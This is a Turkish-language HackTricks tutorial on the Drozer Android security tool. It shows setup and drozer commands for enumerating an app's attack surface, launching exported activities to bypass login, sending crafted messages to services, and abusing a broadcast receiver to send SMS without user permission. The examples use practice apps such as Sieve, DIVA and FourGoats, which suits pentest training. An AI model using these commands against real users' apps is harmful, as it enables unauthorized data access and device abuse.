# Drozer Tutorial
{{#include ../../../banners/hacktricks-training.md}}
## Test edilecek APK'lar
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'dan)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'inden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
## Kurulum
Drozer Client'ı ana bilgisayarınıza kurun. En son sürümü [buradan indirin](https://github.com/mwrlabs/drozer/releases).
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
drozer APK'sını [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin ve kurun. Şu anda bu [sürüm](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```bash
adb install drozer.apk
```
### Sunucuyu Başlatma
Agent 31415 portunda çalışıyor, Drozer Client ve Agent arasında iletişimi sağlamak için [port yönlendirmesi](https://en.wikipedia.org/wiki/Port_forwarding) yapmamız gerekiyor, işte bunu yapmak için komut:
```bash
adb forward tcp:31415 tcp:31415
```
Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇ**" butonuna basın.
.png>)
Ve ona bağlanın:
```bash
drozer console connect
```
## İlginç Komutlar
| **Komutlar** | **Açıklama** |
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Seçilen modülün yardımını gösterir |
| **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **clean** | Drozer tarafından Android cihazda saklanan geçici dosyaları kaldırır. |
| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla yürütür. |
| **module** | İnternetten ek drozer modüllerini bulur ve yükler. |
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
| **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **run MODULE** | Bir drozer modülünü yürütür |
| **exploit** | Drozer, cihazda yürütmek için istismarlar oluşturabilir. `drozer exploit list` |
| **payload** | İstismarların bir yükü gereklidir. `drozer payload list` |
### Paket
**İsim** kısmını filtreleyerek paketin **adını** bulun:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**Paketin Temel Bilgileri:**
```bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
**Manifest**'i okuyun:
```bash
run app.package.manifest jakhar.aseem.diva
```
Paketin **saldırı yüzeyi**:
```bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
```
- **Etkinlikler**: Belki bir etkinlik başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz.
- **İçerik sağlayıcıları**: Belki özel verilere erişebilir veya bazı güvenlik açıklarını (SQL Injection veya Path Traversal) istismar edebilirsiniz.
- **Hizmetler**:
- **debuggable**: [Daha fazla bilgi edinin](#is-debuggeable)
### Etkinlikler
Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır:
```html
```
**Dışa aktarılan aktiviteleri listele**:
```bash
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**Etkinliği başlat**:
Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz.
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
**adb** ile dışa aktarılmış bir etkinliği de başlatabilirsiniz:
- Paket Adı com.example.demo
- Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### İçerik Sağlayıcıları
Bu gönderi burada yer alacak kadar büyük değil, bu yüzden **ulaşabilirsiniz** [**kendi sayfasında buradan**](exploiting-content-providers.md).
### Hizmetler
Dışa aktarılan bir hizmet, Manifest.xml içinde tanımlanır:
```html
```
Kodun içinde **check** için **`handleMessage`** fonksiyonunu **alacak** olan **message**'ı kontrol edin:
.png>)
#### Liste hizmeti
```bash
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
```
#### **Bir hizmetle** etkileşimde bulunun
```bash
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
```
#### Örnek
`app.service.send` için **drozer** yardımına bir göz atın:
.png>)
Öncelikle "_msg.what_" içindeki veriyi, ardından "_msg.arg1_" ve "_msg.arg2_"'yi göndereceğinizi unutmayın, **hangi bilginin kullanıldığını** ve nerede olduğunu kod içinde kontrol etmelisiniz.\
`--extra` seçeneğini kullanarak "_msg.replyTo_" tarafından yorumlanan bir şey gönderebilirsiniz ve `--bundle-as-obj` kullanarak sağlanan detaylarla bir nesne oluşturursunuz.
Aşağıdaki örnekte:
- `what == 2354`
- `arg1 == 9234`
- `arg2 == 1`
- `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
```bash
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
```
.png>)
### Broadcast Alıcıları
**Android temel bilgi bölümünde Broadcast Alıcısının ne olduğunu görebilirsiniz**.
Bu Broadcast Alıcılarını keşfettikten sonra, **kodlarını kontrol etmelisiniz**. Alınan mesajları işleyen **`onReceive`** fonksiyonuna özel dikkat gösterin.
#### **Tüm** broadcast alıcılarını tespit et
```bash
run app.broadcast.info #Detects all
```
#### Bir uygulamanın yayın alıcılarını kontrol et
```bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### Yayın **Etkileşimleri**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### Mesaj Gönder
Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe rastgele bir SMS** gönderebilirsiniz.
.png>)
.png>)
Kodu okursanız, "_phoneNumber_" ve "_message_" parametrelerinin İçerik Sağlayıcısına gönderilmesi gerektiğini göreceksiniz.
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### Debuggable mı
Bir üretim APK'sı asla debuggable olmamalıdır.\
Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi](../exploiting-a-debuggeable-applciation.md) var, uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
Bir uygulama debuggable olduğunda, Manifest'te görünecektir:
```xml